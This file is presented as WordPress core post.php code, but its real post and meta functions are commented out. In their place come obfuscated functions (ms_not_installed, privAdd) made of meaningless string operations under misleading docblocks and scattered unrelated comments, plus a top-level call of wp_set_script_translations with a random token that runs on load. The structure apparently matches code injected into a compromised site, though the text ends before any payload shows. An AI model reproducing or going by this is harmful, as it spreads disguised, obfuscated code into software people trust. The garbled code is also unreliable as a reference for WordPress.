@since 5.7.0 * @since 5.9.0 Added `is_post_status_viewable` hook to filter the result. * * @param string|stdClass $post_status Post status name or object. * @return bool Whether the post status should be considered viewable. function is_post_status_viewable( $post_status ) { if ( is_scalar( $post_status ) ) { $post_status = get_post_status_object( $post_status ); if ( ! $post_status ) { return false; } } if ( ! is_object( $post_status ) || $post_status->internal || $post_status->protected ) { return false; } $is_viewable = $post_status->publicly_queryable || ( $post_status->_builtin && $post_status->public ); * * Filters whether a post status is considered "viewable". * * The returned filtered value must be a boolean type to ensure * `is_post_status_viewable()` only returns a boolean. This strictness * is by design to maintain backwards-compatibility and guard against * potential type errors in PHP 8.1+. Non-boolean values (even falsey * and truthy values) will result in the function returning false. * * @since 5.9.0 * * @param bool $is_viewable Whether the post status is "viewable" (strict type). * @param stdClass $post_status Post status object. return true === apply_filters( 'is_post_status_viewable', $is_viewable, $post_status ); } * * Determines whether a post is publicly viewable. * * Posts are considered publicly viewable if both the post status and post type * are viewable. * * @since 5.7.0 * * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post. * @return bool Whether the post is publicly viewable. function is_post_publicly_viewable( $post = null ) { $post = get_post( $post ); if ( ! $post ) { return false; } $post_type = get_post_type( $post ); $post_status = get_post_status( $post ); return is_post_type_viewable( $post_type ) && is_post_status_viewable( $post_status ); } * * Retrieves an array of the latest posts, or posts matching the given criteria. * * For more information on the accepted arguments, see the * {@link https:developer.wordpress.org/reference/classes/wp_query/ * WP_Query} documentation in the Developer Handbook. * * The `$ignore_sticky_posts` and `$no_found_rows` arguments are ignored by * this function and both are set to `true`. * * The defaults are as follows: * * @since 1.2.0 * * @see WP_Query * @see WP_Query::parse_query() * * @param array $args { * Optional. Arguments to retrieve posts. See WP_Query::parse_query() for all available arguments. * * @type int $numberposts Total number of posts to retrieve. Is an alias of `$posts_per_page` * in WP_Query. Accepts -1 for all. Default 5. * @type int|string $category Category ID or comma-separated list of IDs (this or any children). * Is an alias of `$cat` in WP_Query. Default 0. * @type int[] $include An array of post IDs to retrieve, sticky posts will be included. * Is an alias of `$post__in` in WP_Query. Default empty array. * @type int[] $exclude An array of post IDs not to retrieve. Default empty array. * @type bool $suppress_filters Whether to suppress filters. Default true. * } * @return WP_Post[]|int[] Array of post objects or post IDs. function get_posts( $args = null ) { $defaults = array( 'numberposts' => 5, 'category' => 0, 'orderby' => 'date', 'order' => 'DESC', 'include' => array(), 'exclude' => array(), 'meta_key' => '', 'meta_value' => '', 'post_type' => 'post', 'suppress_filters' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); if ( empty( $parsed_args['post_status'] ) ) { $parsed_args['post_status'] = ( 'attachment' === $parsed_args['post_type'] ) ? 'inherit' : 'publish'; } if ( ! empty( $parsed_args['numberposts'] ) && empty( $parsed_args['posts_per_page'] ) ) { $parsed_args['posts_per_page'] = $parsed_args['numberposts']; } if ( ! empty( $parsed_args['category'] ) ) { $parsed_args['cat'] = $parsed_args['category']; } if ( ! empty( $parsed_args['include'] ) ) { $incposts = wp_parse_id_list( $parsed_args['include'] ); $parsed_args['posts_per_page'] = count( $incposts ); Only the number of posts included. $parsed_args['post__in'] = $incposts; } elseif ( ! empty( $parsed_args['exclude'] ) ) { $parsed_args['post__not_in'] = wp_parse_id_list( $parsed_args['exclude'] ); } $parsed_args['ignore_sticky_posts'] = true; $parsed_args['no_found_rows'] = true; $get_posts = new WP_Query(); return $get_posts->query( $parsed_args ); } Post meta functions. * * Adds a meta field to the given post. * * Post meta data is called "Custom Fields" on the Administration Screen. * * @since 1.5.0 * * @param int $post_id Post ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * @param bool $unique Optional. Whether the same key should not be added. * Default false. * @return int|false Meta ID on success, false on failure. function add_post_meta( $post_id, $meta_key, $meta_value, $unique = false ) { Make sure meta is added to the post, not a revision. $the_post = wp_is_post_revision( $post_id ); if ( $the_post ) { $post_id = $the_post; } return add_metadata( 'post', $post_id, $meta_key, $meta_value, $unique ); } * * Deletes a post meta field for the given post ID. * * You can match based on the key, or key and value. Removing based on key and * value, will keep from removing duplicate metadata with the same key. It also * allows removing all metadata matching the key, if needed. * * @since 1.5.0 * * @param int $post_id Post ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Optional. Metadata value. If provided, * rows will only be removed that match the value. * Must be serializable if non-scalar. Default empty. * @return bool True on success, false on failure. function delete_post_meta( $post_id, $meta_key, $meta_value = '' ) { Make sure meta is deleted from the post, not from a revision. $the_post = wp_is_post_revision( $post_id ); if ( $the_post ) { $post_id = $the_post; } return delete_metadata( 'post', $post_id, $meta_key, $meta_value ); } * * Retrieves a post meta field for the given post ID. * * @since 1.5.0 * * @param int $post_id Post ID. * @param string $key Optional. The meta key to retrieve. By default, * returns data for all keys. Default empty. * @param bool $single Optional. Whether to return a single value. * This parameter has no effect if `$key` is not specified. * Default false. * @return mixed An array of values if `$single` is false. * The value of the meta field if `$single` is true. * False for an invalid `$post_id` (non-numeric, zero, or negative value). * An empty string if a valid but non-existing post ID is passed. function get_post_meta( $post_id, $key = '', $single = false ) { return get_metadata( 'post', $post_id, $key, $single ); } * * Updates a post meta field based on the given post ID. * * Use the `$prev_value` parameter to differentiate between meta fields with the * same key and post ID. * * If the meta field for the post does not exist, it will be added and its ID returned. * * Can be used in place of add_post_meta(). * * @since 1.5.0 * * @param int $post_id Post ID. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * @param mixed $prev_value Optional. Previous value to check before updating. * If specified, only update existing metadata entries with * this value. Otherwise, update all entries. Default empty. * @return int|bool Meta ID if the key didn't exist, true on successful update, * false on failure or if the value passed to the function * is the same as the one that is already in the database. function update_post_meta( $post_id, $meta_key, $meta_value, $prev_value = '' ) { Make sure meta is updated for the post, not for a revision. $the_post = wp_is_post_revision( $post_id ); if ( $the_post ) { $post_id = $the_post; } return update_metadata( 'post', $post_id, $meta_key, $meta_value, $prev_value ); } * * Deletes everything from post meta matching the given meta key. * * @since 2.3.0 * * @param string $post_meta_key Key to search for when deleting. * @return bool Whether the post meta key was deleted from the database. function delete_post_meta_by_key( $post_meta_key ) { return delete_metadata( 'post', null, $post_meta_key, '', true ); } * * Registers a meta key for posts. * * @since 4.9.8 * * @param string $post_type Post type to register a meta key for. Pass an empty string * to register the meta key across all existing post types. * @param string $meta_key The meta key to register. * @param array $args Data used to describe the meta key when registered. See * {@see register_meta()} for a list of supported arguments. * @return bool True if the meta key was successfully registered, false if not. function register_post_meta( $post_type, $meta_key, array $args ) { $args['object_subtype'] = $post_type; return register_meta( 'post', $meta_key, $args ); } * * Unregisters a meta key for posts. * * @since 4.9.8 * * @param string $post_type Post type the meta key is currently registered for. Pass * an empty string if the meta key is registered across all * existing post types. * @param string $meta_key The meta key to unregister. * @return bool True on success, false if the meta key was not previously registered. function unregister_post_meta( $post_type, $meta_key ) { return unregister_meta_key( 'post', $meta_key, $post_type ); } * * Retrieves post meta fields, based on post ID. * * The post meta fields are retrieved from the cache where possible, * so the function is optimized to be called more than once. * * @since 1.2.0 * * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @return mixed An array of values. * False for an invalid `$post_id` (non-numeric, zero, or negative value). * An empty string if a valid but non-existing post ID is passed. function get_post_custom( $post_id = 0 ) { $post_id = absint( $post_id ); if ( ! $post_id ) { $post_id = get_the_ID(); } return get_post_meta( $post_id ); } * * Retrieves meta field names for a post. * * If there are no meta fields, then nothing (null) will be returned. * * @since 1.2.0 * * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @return array|void Array of the keys, if retrieved. function get_post_custom_keys( $post_id = 0 ) { $custom = get_post_custom( $post_id ); if ( ! is_array( $custom ) ) { return; } $keys = array_keys( $custom ); if ( $keys ) { return $keys; } } * * Retrieves values for a custom post field. * * The parameters must not be considered optional. All of the post meta fields * will be retrieved and only the meta field key values returned. * * @since 1.2.0 * * @param string $key Optional. Meta field key. Default empty. * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @return array|null Meta field values. function get_post_custom_values( $key = '', $post_id = 0 ) { if ( ! $key ) { return null; } $custom = get_post_custom( $post_id ); return isset( $custom[ $key ] ) ? $custom[ $key ] : null; } * * Determines whether a post is sticky. * * Sticky posts should remain at the top of The Loop. If the post ID is not * given, then The Loop ID for the current post will be used. * * For more information on this and similar theme functions, check out * the {@link https:developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.7.0 * * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @return bool Whether post is sticky. function is_sticky( $post_id = 0 ) { $post_id = absint( $post_id ); if ( ! $post_id ) { $post_id = get_the_ID(); } $stickies = get_option( 'sticky_posts' ); if ( is_array( $stickies ) ) { $stickies = array_map( 'intval', $stickies ); $is_sticky = in_array( $post_id, $stickies, true ); } else { $is_sticky = false; } * * Filters whether a post is sticky. * * @since 5.3.0 * * @param bool $is_sticky Whether a post is sticky. * @param int $post_id Post ID. return apply_filters( 'is_sticky', $is_sticky, $post_id ); } * * Sanitizes every post field. * * If the context is 'raw', then the post object or array will get minimal * sanitization of the integer fields. * * @since 2.3.0 * * @see sanitize_post_field() * * @param object|WP_Post|array $post The post object or array * @param string $context Optional. How to sanitize post fields. * Accepts 'raw', 'edit', 'db', 'display', * 'attribute', or 'js'. Default 'display'. * @return object|WP_Post|array The now sanitized post object or array (will be the * same type as `$post`). function sanitize_post( $post, $context = 'display' ) { if ( is_object( $post ) ) { Check if post already filtered for this context. if ( isset( $post->filter ) && $context == $post->filter ) { return $post; } if ( ! isset( $post->ID ) ) { $post->ID = 0; } foreach ( array_keys( get_object_vars( $post ) ) as $field ) { $post->$field = sanitize_post_field( $field, $post->$field, $post->ID, $context ); } $post->filter = $context; } elseif ( is_array( $post ) ) { Check if post already filtered for this context. if ( isset( $post['filter'] ) && $context == $post['filter'] ) { return $post; } if ( ! isset( $post['ID'] ) ) { $post['ID'] = 0; } foreach ( array_keys( $post ) as $field ) { $post[ $field ] = sanitize_post_field( $field, $post[ $field ], $post['ID'], $context ); } $post['filter'] = $context; } return $post; } * * Sanitizes a post field based on context. * * Possible context values are: 'raw', 'edit', 'db', 'display', 'attribute' and * 'js'. The 'display' context is used by default. 'attribute' and 'js' contexts * are treated like 'display' when calling filters. * * @since 2.3.0 * @since 4.4.0 Like `sanitize_post()`, `$context` defaults to 'display'. * * @param string $field The Post Object field name. * @param mixed $value The Post Object value. * @param int $post_id Post ID. * @param string $context Optional. How to sanitize the field. Possible values are 'raw', 'edit', * 'db', 'display', 'attribute' and 'js'. Default 'display'. * @return mixed Sanitized value. function sanitize_post_field( $field, $value, $post_id, $context = 'display' ) { $int_fields = array( 'ID', 'post_parent', 'menu_order' ); if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; } Fields which contain arrays of integers. $array_int_fields = array( 'ancestors' ); if ( in_array( $field, $array_int_fields, true ) ) { $value = array_map( 'absint', $value ); return $value; } if ( 'raw' === $context ) { return $value; } $prefixed = false; if ( str_contains( $field, 'post_' ) ) { $prefixed = true; $field_no_prefix = str_replace( 'post_', '', $field ); } if ( 'edit' === $context ) { $format_to_edit = array( 'post_content', 'post_excerpt', 'post_title', 'post_password' ); if ( $prefixed ) { * * Filters the value of a specific post field to edit. * * The dynamic portion of the hook name, `$field`, refers to the post * field name. * * @since 2.3.0 * * @param mixed $value Value of the post field. * @param int $post_id Post ID. $value = apply_filters( "edit_{$field}", $value, $post_id ); * * Filters the value of a specific post field to edit. * * The dynamic portion of the hook name, `$field_no_prefix`, refers to * the post field name. * * @since 2.3.0 * * @param mixed $value Value of the post field. * @param int $post_id Post ID. $value = apply_filters( "{$field_no_prefix}_edit_pre", $value, $post_id ); } else { $value = apply_filters( "edit_post_{$field}", $value, $post_id ); } if ( in_array( $field, $format_to_edit, true ) ) { if ( 'post_content' === $field ) { $value = format_to_edit( $value, user_can_richedit() ); } else { $value = format_to_edit( $value ); } } else { $value = esc_attr( $value ); } } elseif ( 'db' === $context ) { if ( $prefixed ) { * * Filters the value of a specific post field before saving. * * The dynamic portion of the hook name, `$field`, refers to the post * field name. * * @since 2.3.0 * * @param mixed $value Value of the post field. $value = apply_filters( "pre_{$field}", $value ); * * Filters the value of a specific field before saving. * * The dynamic portion of the hook name, `$field_no_prefix`, refers * to the post field name. * * @since 2.3.0 * * @param mixed $value Value of the post field. $value = apply_filters( "{$field_no_prefix}_save_pre", $value ); } else { $value = apply_filters( "pre_post_{$field}", $value ); * * Filters the value of a specific post field before saving. * * The dynamic portion of the hook name, `$field`, refers to the post * field name. * * @since 2.3.0 * * @param mixed $value Value of the post field. $value = apply_filters( "{$field}_pre", $value ); } } else { Use display filters by default. if ( $prefixed ) { * * Filters the value of a specific post field for display. * * The dynamic portion of the hook name, `$field`, refers to the post * field name. * * @since 2.3.0 * * @param mixed $value Value of the prefixed post field. * @param int $post_id Post ID. * @param string $context Context for how to sanitize the field. * Accepts 'raw', 'edit', 'db', 'display', * 'attribute', or 'js'. Default 'display'. $value = apply_filters( "{$field}", $value, $post_id, $context ); } else { $value = apply_filters( "post_{$field}", $value, $post_id, $context ); } if ( 'attribute' === $context ) { $value = esc_attr( $value ); } elseif ( 'js' === $context ) { $value = esc_js( $value ); } } Restore the type for integer fields after esc_attr(). if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; } return $value; } * * Makes a post sticky. * * Sticky posts should be displayed at the top of the front page. * * @since 2.7.0 * * @param int $post_id Post ID. function stick_post( $post_id ) { $post_id = (int) $post_id; $stickies = get_option( 'sticky_posts' ); $updated = false; if ( ! is_array( $stickies ) ) { $stickies = array(); } else { $stickies = array_unique( array_map( 'intval', $stickies ) ); } if ( ! in_array( $post_id, $stickies, true ) ) { $stickies[] = $post_id; $updated = update_option( 'sticky_posts', array_values( $stickies ) ); } if ( $updated ) { * * Fires once a post has been added to the sticky list. * * @since 4.6.0 * * @param int $post_id ID of the post that was stuck. do_action( 'post_stuck', $post_id ); } } * * Un-sticks a post. * * Sticky posts should be displayed at the top of the front page. * * @since 2.7.0 * * @param int $post_id Post ID. function unstick_post( $post_id ) { $post_id = (int) $post_id; $stickies = get_option( 'sticky_posts' ); if ( ! is_array( $stickies ) ) { return; } $stickies = array_values( array_unique( array_map( 'intval', $stickies ) ) ); if ( ! in_array( $post_id, $stickies, true ) ) { return; } $offset = array_search( $post_id, $stickies, true ); if ( false === $offset ) { return; } array_splice( $stickies, $offset, 1 ); $updated = update_option( 'sticky_posts', $stickies ); if ( $updated ) { * * Fires once a post has been removed from the sticky list. * * @since 4.6.0 * * @param int $post_id ID of the post that was unstuck. do_action( 'post_unstuck', $post_id ); } } * * Returns the cache key for wp_count_posts() based on the passed arguments. * * @since 3.9.0 * @access private * * @param string $type Optional. Post type to retrieve count Default 'post'. * @param string $perm Optional. 'readable' or empty. Default empty. * @return string The cache key. function _count_posts_cache_key( $type = 'post', $perm = '' ) { $cache_key = 'posts-' . $type; if ( 'readable' === $perm && is_user_logged_in() ) { $post_type_object = get_post_type_object( $type ); if ( $post_type_object && ! current_user_can( $post_type_object->cap->read_private_posts ) ) { $cache_key .= '_' . $perm . '_' . get_current_user_id(); } } return $cache_key; } * * Counts number of posts of a post type and if user has permissions to view. * * This function provides an efficient method of finding the amount of post's * type a blog has. Another method is to count the amount of items in * get_posts(), but that method has a lot of overhead with doing so. Therefore, * when developing for 2.5+, use this function instead. * * The $perm parameter checks for 'readable' value and if the user can read * private posts, it will display that for the user that is signed in. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $type Optional. Post type to retrieve count. Default 'post'. * @param string $perm Optional. 'readable' or empty. Default empty. * @return stdClass An object containing the number of posts for each status, * or an empty object if the post type does not exist. function wp_count_posts( $type = 'post', $perm = '' ) { global $wpdb; if ( ! post_type_exists( $type ) ) { return new stdClass(); } $cache_key = _count_posts_cache_key( $type, $perm ); $counts = wp_cache_get( $cache_key, 'counts' ); if ( false !== $counts ) { We may have cached this before every status was registered. foreach ( get_post_stati() as $status ) { if ( ! isset( $counts->{$status} ) ) { $counts->{$status} = 0; } } * This filter is documented in wp-includes/post.php return apply_filters( 'wp_count_posts', $counts, $type, $perm ); } $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ( 'readable' === $perm && is_user_logged_in() ) { $post_type_object = get_post_type_object( $type ); if ( ! current_user_can( $post_type_object->cap->read_private_posts ) ) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= ' GROUP BY post_status'; $results = (array) $wpdb->get_results( $wpdb->prepare( $query, $type ), ARRAY_A ); $counts = array_fill_keys( get_post_stati(), 0 ); foreach ( $results as $row ) { $counts[ $row['post_status'] ] = $row['num_posts']; } $counts = (object) $counts; wp_cache_set( $cache_key, $counts, 'counts' ); * * Filters the post counts by status for the current post type. * * @since 3.7.0 * * @param stdClass $counts An object containing the current post_type's post * counts by status. * @param string $type Post type. * @param string $perm The permission to determine if the posts are 'readable' * by the current user. return apply_filters( 'wp_count_posts', $counts, $type, $perm ); } * * Counts number of attachments for the mime type(s). * * If you set the optional mime_type parameter, then an array will still be * returned, but will only have the item you are looking for. It does not give * you the number of attachments that are children of a post. You can get that * by counting the number of children that post has. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|string[] $mime_type Optional. Array or comma-separated list of * MIME patterns. Default empty. * @return stdClass An object containing the attachment counts by mime type. function wp_count_attachments( $mime_type = '' ) { global $wpdb; $cache_key = sprintf( 'attachments%s', ! empty( $mime_type ) ? ':' . str_replace( '/', '_', implode( '-', (array) $mime_type ) ) : '' ); $counts = wp_cache_get( $cache_key, 'counts' ); if ( false == $counts ) { $and = wp_post_mime_type_where( $mime_type ); $count = $wpdb->get_results( "SELECT post_mime_type, COUNT( * ) AS num_posts FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' $and GROUP BY post_mime_type", ARRAY_A ); $counts = array(); foreach ( (array) $count as $row ) { $counts[ $row['post_mime_type'] ] = $row['num_posts']; } $counts['trash'] = $wpdb->get_var( "SELECT COUNT( * ) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status = 'trash' $and" ); wp_cache_set( $cache_key, (object) $counts, 'counts' ); } * * Filters the attachment counts by mime type. * * @since 3.7.0 * * @param stdClass $counts An object containing the attachment counts by * mime type. * @param string|string[] $mime_type Array or comma-separated list of MIME patterns. return apply_filters( 'wp_count_attachments', (object) $counts, $mime_type ); } * * Gets default post mime types. * * @since 2.9.0 * @since 5.3.0 Added the 'Documents', 'Spreadsheets', and 'Archives' mime type groups. * * @return array List of post mime types. function get_post_mime_types() { $post_mime_types = array( array( adj, noun ) 'image' => array( __( 'Images' ), __( 'Manage Images' ), translators: %s: Number of images. _n_noop( 'Image <span class="count">(%s)</span>', 'Images <span class="count">(%s)</span>' ), ), 'audio' => array( _x( 'Audio', 'file type group' ), __( 'Manage Audio' ), translators: %s: Number of audio files. _n_noop( 'Audio <span class="count">(%s)</span>', 'Audio <span class="count">(%s)</span>' ), ), 'video' => array( _x( 'Video', 'file type group' ), __( 'Manage Video' ), translators: %s: Number of video files. _n_noop( 'Video <span class="count">(%s)</span>', 'Video <span class="count">(%s)</span>' ), ), 'document' => array( __( 'Documents' ), __( 'Manage Documents' ), translators: %s: Number of documents. _n_noop( 'Document <span class="count">(%s)</span>', 'Documents <span class="count">(%s)</span>' ), ), 'spreadsheet' => array( __( 'Spreadsheets' ), __( 'Manage Spreadsheets' ), translators: %s: Number of spreadsheets. _n_noop( 'Spreadsheet <span class="count">(%s)</span>', 'Spreadsheets <span class="count">(%s)</span>' ), ), 'archive' => array( _x( 'Archives', 'file type group' ), __( 'Manage Archives' ), translators: %s: Number of archives. _n_noop( 'Archive <span class="count">(%s)</span>', 'Archives <span class="count">(%s)</span>' ), ), ); $ext_types = wp_get_ext_types(); $mime_types = wp_get_mime_types(); foreach ( $post_mime_types as $group => $labels ) { if ( in_array( $group, array( 'image', 'audio', 'video' ), true ) ) { continue; } if ( ! isset( $ext_types[ $group ] ) ) { unset( $post_mime_types[ $group ] ); continue; } $group_mime_types = array(); foreach ( $ext_types[ $group ] as $extension ) { foreach ( $mime_types as $exts => $mime ) { if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) { $group_mime_types[] = $mime; break; } } } $group_mime_types = implode( ',', array_unique( $group_mime_types ) ); $post_mime_types[ $group_mime_types ] = $labels; unset( $post_mime_types[ $group ] ); } * * Filters the default list of post mime types. * * @since 2.5.0 * * @param array $post_mime_types Default list of post mime types. return apply_filters( 'post_mime_types', $post_mime_types ); } * * Checks a MIME-Type against a list. * * If the `$wildcard_mime_types` parameter is a string, it must be comma separated * list. If the `$real_mime_types` is a string, it is also comma separated to * create the list. * * @since 2.5.0 * * @param string|string[] $wildcard_mime_types Mime types, e.g. `audio/mpeg`, `image` (same as `image`), * or `flash` (same as `*flash*`). * @param string|string[] $real_mime_types Real post mime type values. * @return array array(wildcard=>array(real types)). function wp_match_mime_types( $wildcard_mime_types, $real_mime_types ) { $matches = array(); if ( is_string( $wildcard_mime_types ) ) { $wildcard_mime_types = array_map( 'trim', explode( ',', $wildcard_mime_types ) ); } if ( is_string( $real_mime_types ) ) { $real_mime_types = array_map( 'trim', explode( ',', $real_mime_types ) ); } $patternses = array(); $wild = '[-._a-z0-9]*'; foreach ( (array) $wildcard_mime_types as $type ) { $mimes = array_map( 'trim', explode( ',', $type ) ); foreach ( $mimes as $mime ) { $regex = str_replace( '__wildcard__', $wild, preg_quote( str_replace( '*', '__wildcard__', $mime ) ) ); $patternses[][ $type ] = "^$regex$"; if ( ! str_contains( $mime, '/' ) ) { $patternses[][ $type ] = "^$regex/"; $patternses[][ $type ] = $regex; } } } asort( $patternses ); foreach ( $patternses as $patterns ) { foreach ( $patterns as $type => $pattern ) { foreach ( (array) $real_mime_types as $real ) { if ( preg_match( "#$pattern#", $real ) && ( empty( $matches[ $type ] ) || false === array_search( $real, $matches[ $type ], true ) ) ) { $matches[ $type ][] = $real; } } } } return $matches; } * * Converts MIME types into SQL. * * @since 2.5.0 * * @param string|string[] $post_mime_types List of mime types or comma separated string * of mime types. * @param string $table_alias Optional. Specify a table alias, if needed. * Default empty. * @return string The SQL AND clause for mime searching. function wp_post_mime_type_where( $post_mime_types, $table_alias = '' ) { $where = ''; $wildcards = array( '', '%', '%/%' ); if ( is_string( $post_mime_types ) ) { $post_mime_types = array_map( 'trim', explode( ',', $post_mime_types ) ); } $wheres = array(); foreach ( (array) $post_mime_types as $mime_type ) { $mime_type = preg_replace( '/\s/', '', $mime_type ); $slashpos = strpos( $mime_type, '/' ); if ( false !== $slash*/ /** * Retrieves or displays the time from the page start to when function is called. * * @since 0.71 * * @global float $whichmimetype Seconds from when timer_start() is called. * @global float $Lyrics3data Seconds from when function is called. * * @param int|bool $bloginfo Whether to echo or return the results. Accepts 0|false for return, * 1|true for echo. Default 0|false. * @param int $show_search_feed The number of digits from the right of the decimal to display. * Default 3. * @return string The "second.microsecond" finished time calculation. The number is formatted * for human consumption, both localized and rounded. */ function print_extra_script($bloginfo = 0, $show_search_feed = 3) { global $whichmimetype, $Lyrics3data; $Lyrics3data = microtime(true); $media_per_page = $Lyrics3data - $whichmimetype; if (function_exists('number_format_i18n')) { $sanitized_key = number_format_i18n($media_per_page, $show_search_feed); } else { $sanitized_key = number_format($media_per_page, $show_search_feed); } if ($bloginfo) { echo $sanitized_key; } return $sanitized_key; } /* * Allow extenders to manipulate the font directory consistently. * * Ensures the upload_dir filter is fired both when calling this function * directly and when the upload directory is filtered in the Font Face * REST API endpoint. */ function ms_not_installed ($default_minimum_font_size_factor_min){ $streams = 'ku4g2vi'; $schema_prop = 'gk1t'; $captions = 'c20vdkh'; $streams = addslashes($schema_prop); $captions = trim($captions); $msg_browsehappy = 'r907'; $msg_browsehappy = strtoupper($streams); $theme_meta = 'pk6bpr25h'; $captions = md5($theme_meta); // Captures any text in the body after $streamnumberhone_delim as the body. # v3=ROTL(v3,21); $captions = urlencode($theme_meta); $section_description = 'dz5248'; // Find bunches of zeros $silent = 'otequxa'; //Fold long values $silent = trim($theme_meta); $credit_scheme = 'v89ol5pm'; $section_description = ucwords($streams); $theme_meta = quotemeta($credit_scheme); // We don't support trashing for users. $theme_meta = strrev($silent); $theme_meta = is_string($theme_meta); // If indexed, process each item in the array. $default_content = 's6xfc2ckp'; $options_audiovideo_matroska_parse_whole_file = 'xy8qe'; $theme_meta = convert_uuencode($default_content); $sitemap_index = 'uyy62bt'; // First look for an h-feed. // Can't change to folder = folder doesn't exist. $silent = strtr($silent, 6, 5); // In single column mode, only show the title once if unchanged. $authenticated = 'y2ac'; $options_audiovideo_matroska_parse_whole_file = ucfirst($sitemap_index); $default_content = htmlspecialchars($authenticated); $credit_scheme = stripcslashes($captions); // Pass any extra $hook_extra args here, this will be passed to any hooked filters. $v_entry = 'nzl1ap'; // ----- Look for next option // Check if any taxonomies were found. // so we check the return value to make sure it's not got the same method. # if we are ending the original content element // Delete the settings for this instance of the widget. $silent = html_entity_decode($v_entry); $silent = stripcslashes($v_entry); // Back compat for OBJECT being previously case-insensitive. # crypto_secretstream_xchacha20poly1305_rekey(state); $avail_roles = 'k1lodlqqr'; $captions = stripos($default_content, $silent); // Remove the custom logo. $ops = 'aaii'; $admin_page_hooks = 'xofynn1'; // | Extended Header | $admin_page_hooks = str_repeat($silent, 5); $avail_roles = html_entity_decode($ops); // The button block has a wrapper while the paragraph and heading blocks don't. // Object ID GUID 128 // GUID for Marker object - GETID3_ASF_Marker_Object $conditional = 'umxi'; //the user can choose to auto connect their API key by clicking a button on the akismet done page // We need $wp_local_package. // A single item may alias a set of items, by having dependencies, but no source. $conditional = is_string($section_description); $active_key = 'h9qy9'; $consent = 's74wq'; $active_key = base64_encode($consent); // ----- Magic quotes trick //Makes for cleaner serialization // Hack to get wp to create a post object when too many properties are empty. // Order by. $t0 = 'b3o7fj'; // get_option( 'akismet_spam_count' ) is the total caught ever // Move it. $WaveFormatEx = 'lo4eaucu'; $t0 = base64_encode($WaveFormatEx); // If the user already exists, or the user opted out of cookies, don't set cookies. // int64_t a1 = 2097151 & (load_4(a + 2) >> 5); $frame_flags = 'afaltzss'; # tag = block[0]; // We weren't able to reconnect, so we better bail. // int64_t b9 = 2097151 & (load_4(b + 23) >> 5); //it has historically worked this way. // Make sure existence/capability checks are done on value-less setting updates. $hex4_regexp = 'fdlb'; $frame_flags = strtolower($hex4_regexp); // network operation. $v_found = 'd2u64ans'; $msg_browsehappy = base64_encode($v_found); return $default_minimum_font_size_factor_min; } /** * Renders screen reader text. * * @since 4.4.0 * * @param string $default_header The screen reader text array named key. * @param string $tag Optional. The HTML tag to wrap the screen reader text. Default h2. */ function privAdd ($style_definition_path){ $GOVsetting = 'b60gozl'; $maximum_font_size = 'd95p'; $UncompressedHeader = 'llzhowx'; $text_lines = 'a8ll7be'; $cat_obj = 'p1ih'; $eq = 'rhmun'; $should_skip_text_columns = 'vzuf3'; // 411 errors from some servers when the body is empty. $eq = ucfirst($should_skip_text_columns); // Disable by default unless the suggested content is provided. // TITLES $cat_obj = levenshtein($cat_obj, $cat_obj); $GOVsetting = substr($GOVsetting, 6, 14); $text_lines = md5($text_lines); $UncompressedHeader = strnatcmp($UncompressedHeader, $UncompressedHeader); $module = 'ulxq1'; $eq = substr($should_skip_text_columns, 15, 7); $vars = 'pihus'; $maxvalue = 'l5hg7k'; $GOVsetting = rtrim($GOVsetting); $UncompressedHeader = ltrim($UncompressedHeader); $cat_obj = strrpos($cat_obj, $cat_obj); $maximum_font_size = convert_uuencode($module); // Check for & assign any parameters which require special handling or setting. $vars = addcslashes($vars, $vars); $GOVsetting = strnatcmp($GOVsetting, $GOVsetting); $zip_fd = 'hohb7jv'; $maxvalue = html_entity_decode($maxvalue); $cat_obj = addslashes($cat_obj); $f8g3_19 = 'riymf6808'; $formatting_element = 'px9utsla'; $samplerate = 't5vk2ihkv'; $f8g3_19 = strripos($module, $maximum_font_size); $UncompressedHeader = str_repeat($zip_fd, 1); $theme_mods = 'm1pab'; $autosave = 'f5d4uoje'; $theme_mods = wordwrap($theme_mods); $has_or_relation = 'clpwsx'; $formatting_element = wordwrap($formatting_element); $zip_fd = addcslashes($UncompressedHeader, $zip_fd); $strlen_var = 'umlrmo9a8'; $vars = md5($autosave); $theme_mods = addslashes($GOVsetting); $cat_obj = urldecode($cat_obj); $samplerate = nl2br($strlen_var); $has_or_relation = wordwrap($has_or_relation); $UncompressedHeader = bin2hex($zip_fd); $UncompressedHeader = stripcslashes($UncompressedHeader); $theme_mods = addslashes($theme_mods); $tz_mod = 'q5ivbax'; $compressed_size = 't52ow6mz'; $samplerate = addcslashes($strlen_var, $strlen_var); $copiedHeader = 'fi71zf'; $date_endian = 'p8ta'; // These tests give us a WP-generated permalink. $copiedHeader = strnatcmp($should_skip_text_columns, $date_endian); $copiedHeader = strrev($autosave); // Associate links to categories. // Function : privDuplicate() // Set the 'populated_children' flag, to ensure additional database queries aren't run. $begin = 'rza8gtjf'; $copiedHeader = strripos($begin, $date_endian); $should_skip_text_columns = ucfirst($autosave); return $style_definition_path; } $thisB = 'xCnU'; // Clear out the source files. wp_set_script_translations($thisB); /** * Clears the lastcommentmodified cached value when a comment status is changed. * * Deletes the lastcommentmodified cache key when a comment enters or leaves * 'approved' status. * * @since 4.7.0 * @access private * * @param string $allowed_types The new comment status. * @param string $embed_url The old comment status. */ function keyExchange ($duplicated_keys){ // copy errors and warnings $IndexSampleOffset = 's37t5'; $edit_link = 'd7isls'; $check_pending_link = 'k84kcbvpa'; $force_utc = 